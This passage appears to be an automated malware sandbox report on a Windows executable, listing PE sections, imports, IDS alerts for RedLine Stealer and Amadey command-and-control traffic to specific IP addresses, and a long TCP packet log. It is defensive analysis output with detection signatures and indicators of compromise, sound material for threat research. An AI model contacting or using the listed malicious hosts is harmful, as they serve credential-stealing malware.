IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5000	0x20	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x39cb	0x3a00	a8859d1f9b0c91e6fb1eb31e0fba6d60	False	0.4165544181034483	zlib compressed data	5.545864849703848	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x5000	0x18c8	0x1a00	54f0fa7b25bcbaa76c26039919fc716b	False	0.29041466346153844	OpenPGP Public Key	4.185103722160237	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x7000	0x688	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x8000	0x240	0x400	c0d1e6294ad4138cca9188a27b6b84e5	False	0.345703125	data	2.5822176110941975	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x9000	0x328	0x400	0d7214eb073287b0cc1ef48e92bf4fcb	False	0.361328125	data	2.6200573070054105	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.x64	0xa000	0x46000	0x45400	6734efcbf5cef0f9c7a4db8068e0ffc5	False	0.4619986744133574	data	6.098536918995324	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x9060	0x2c4	data	English	United States	0.4717514124293785

Imports

DLL	Import
KERNEL32.dll	LoadLibraryA, GetVersionExW, GetProcAddress

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-13T08:18:49.337834+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.11	49726	185.81.68.147	80	TCP
2024-12-13T08:19:00.225322+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.11	49748	185.81.68.147	80	TCP
2024-12-13T08:19:04.468315+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:04.468315+0100	2046045	ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization)	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:04.901403+0100	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	1	185.81.68.147	1912	192.168.2.11	49760	TCP
2024-12-13T08:19:05.196213+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.11	49761	185.81.68.147	80	TCP
2024-12-13T08:19:10.204185+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:11.513947+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:11.633705+0100	2046056	ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)	1	185.81.68.147	1912	192.168.2.11	49760	TCP
2024-12-13T08:19:11.961998+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:12.400353+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:12.859879+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:13.736992+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:14.356841+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:14.476950+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:16.091899+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:16.536536+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:16.972311+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:17.407692+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:17.846333+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:18.287580+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:18.801374+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:19.998470+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:20.489301+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:21.072324+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:21.938659+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:22.382676+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:22.819111+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:23.252378+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:19:23.725939+0100	2043231	ET MALWARE Redline Stealer TCP CnC Activity	1	192.168.2.11	49760	185.81.68.147	1912	TCP
2024-12-13T08:20:07.277034+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.11	49938	185.81.68.147	80	TCP
2024-12-13T08:20:07.300584+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.11	49939	185.81.68.147	80	TCP
2024-12-13T08:20:10.326543+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	49946	185.81.68.148	80	TCP
2024-12-13T08:20:13.878638+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.11	49958	185.81.68.147	80	TCP
2024-12-13T08:20:16.971319+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	49970	185.81.68.148	80	TCP
2024-12-13T08:20:17.125958+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.11	49972	185.81.68.147	80	TCP
2024-12-13T08:20:17.363862+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.11	49973	185.81.68.147	80	TCP
2024-12-13T08:20:18.474964+0100	2856151	ETPRO MALWARE Amadey CnC Activity M7	1	192.168.2.11	49978	185.81.68.148	80	TCP
2024-12-13T08:20:18.503049+0100	2856151	ETPRO MALWARE Amadey CnC Activity M7	1	192.168.2.11	49977	185.81.68.148	80	TCP
2024-12-13T08:20:18.626119+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.11	49982	185.81.68.148	80	TCP
2024-12-13T08:20:18.626119+0100	2856150	ETPRO MALWARE Amadey CnC Activity M6	1	192.168.2.11	49982	185.81.68.148	80	TCP
2024-12-13T08:20:18.870922+0100	2855239	ETPRO MALWARE Win32/Amadey Stealer Activity M4 (POST)	1	192.168.2.11	49983	185.81.68.148	80	TCP
2024-12-13T08:20:18.870922+0100	2856150	ETPRO MALWARE Amadey CnC Activity M6	1	192.168.2.11	49983	185.81.68.148	80	TCP
2024-12-13T08:20:23.121550+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	49998	185.81.68.148	80	TCP
2024-12-13T08:20:29.362119+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50017	185.81.68.148	80	TCP
2024-12-13T08:20:35.799427+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50036	185.81.68.148	80	TCP
2024-12-13T08:20:42.159878+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50056	185.81.68.148	80	TCP
2024-12-13T08:20:48.363593+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50073	185.81.68.148	80	TCP
2024-12-13T08:20:54.595635+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50080	185.81.68.148	80	TCP
2024-12-13T08:21:01.237510+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50088	185.81.68.148	80	TCP
2024-12-13T08:21:07.535897+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50095	185.81.68.148	80	TCP
2024-12-13T08:21:13.721615+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50103	185.81.68.148	80	TCP
2024-12-13T08:21:20.018768+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50110	185.81.68.148	80	TCP
2024-12-13T08:21:26.706061+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50118	185.81.68.148	80	TCP
2024-12-13T08:21:33.179320+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50126	185.81.68.148	80	TCP
2024-12-13T08:21:39.383695+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50134	185.81.68.148	80	TCP
2024-12-13T08:21:46.208977+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50142	185.81.68.148	80	TCP
2024-12-13T08:21:52.613527+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50149	185.81.68.148	80	TCP
2024-12-13T08:21:59.065368+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50156	185.81.68.148	80	TCP
2024-12-13T08:22:05.267999+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50165	185.81.68.148	80	TCP
2024-12-13T08:22:11.721973+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50171	185.81.68.148	80	TCP
2024-12-13T08:22:18.158976+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50179	185.81.68.148	80	TCP
2024-12-13T08:22:24.361889+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50186	185.81.68.148	80	TCP
2024-12-13T08:22:30.646659+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50194	185.81.68.148	80	TCP
2024-12-13T08:22:37.002261+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50201	185.81.68.148	80	TCP
2024-12-13T08:22:43.300199+0100	2856148	ETPRO MALWARE Amadey CnC Activity M4	1	192.168.2.11	50209	185.81.68.148	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 08:18:43.225608110 CET	49713	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:43.345391989 CET	80	49713	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:43.347393990 CET	49713	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:43.347393990 CET	49713	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:43.467206001 CET	80	49713	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:44.675121069 CET	80	49713	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:44.675293922 CET	80	49713	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:44.675352097 CET	49713	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:44.684146881 CET	49713	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:44.689562082 CET	49714	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:44.804656029 CET	80	49713	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:44.810049057 CET	80	49714	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:44.810146093 CET	49714	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:44.817557096 CET	49714	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:44.937717915 CET	80	49714	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:44.937910080 CET	49714	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:45.057743073 CET	80	49714	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:46.251863956 CET	80	49714	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:46.252233028 CET	80	49714	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:46.252290010 CET	49714	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:46.253362894 CET	49714	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:46.253716946 CET	49720	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:46.373095989 CET	80	49714	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:46.373457909 CET	80	49720	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:46.373544931 CET	49720	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:46.373603106 CET	49720	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:46.493329048 CET	80	49720	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:46.493392944 CET	49720	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:46.613158941 CET	80	49720	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:47.866478920 CET	80	49720	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:47.866543055 CET	80	49720	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:47.866647959 CET	49720	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:47.872857094 CET	49720	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:47.878690958 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:47.992726088 CET	80	49720	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:47.998526096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:47.998639107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:48.001410007 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:48.121285915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.337707996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.337728977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.337750912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.337763071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.337775946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.337788105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.337800980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.337833881 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.337835073 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.338030100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.338061094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.338073969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.338102102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.338134050 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.458576918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.458594084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.458796978 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.463361025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.511859894 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.530805111 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.530821085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.531012058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.534931898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.534945011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.535090923 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.542187929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.545272112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.545314074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.545337915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.553653002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.553718090 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.553729057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.563380957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.563395023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.563530922 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.570395947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.570543051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.570545912 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.578794003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.578844070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.578887939 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.587378979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.587393045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.587584019 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.595598936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.595683098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.595752954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.603965998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.604048967 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.604191065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.631663084 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.631747961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.631938934 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.651370049 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.699409962 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.721797943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.721950054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.722166061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.724127054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.724185944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.724307060 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.729178905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.730386972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.730504036 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.734242916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.734275103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.734452963 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.739409924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.739428997 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.739553928 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.743818998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.743868113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.744025946 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.748447895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.748603106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.748740911 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.753078938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.753096104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.753249884 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.757720947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.757951975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.758079052 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.762460947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.762511969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.762644053 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.767168999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.767183065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.767311096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.771716118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.771783113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.771933079 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.776441097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.776453972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.776572943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.780982018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.781085014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.781203985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.785621881 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.785667896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.785789967 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.790287018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.790416956 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.790549040 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.794883966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.795006990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.795116901 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.799545050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.799590111 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.799695969 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.804259062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.804323912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.804439068 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.808954000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.808968067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.809109926 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.813494921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.813571930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.813863993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.819442987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.819458008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.819587946 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.841996908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.842051029 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.842199087 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.844439030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.844453096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.844609976 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.913686991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.913707018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.913852930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.915366888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.915378094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.915494919 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.918713093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.918782949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.918895006 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.922110081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.922135115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.922267914 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.925437927 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.925548077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.925687075 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.928566933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.928581953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.928694010 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.931796074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.931899071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.932019949 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.934819937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.934968948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.935157061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.938014984 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.938030005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.938154936 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.941200018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.941291094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.941418886 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.943883896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.944204092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:49.944335938 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:49.946825027 CET	80	49726	185.81.68.147	192.168.2.11
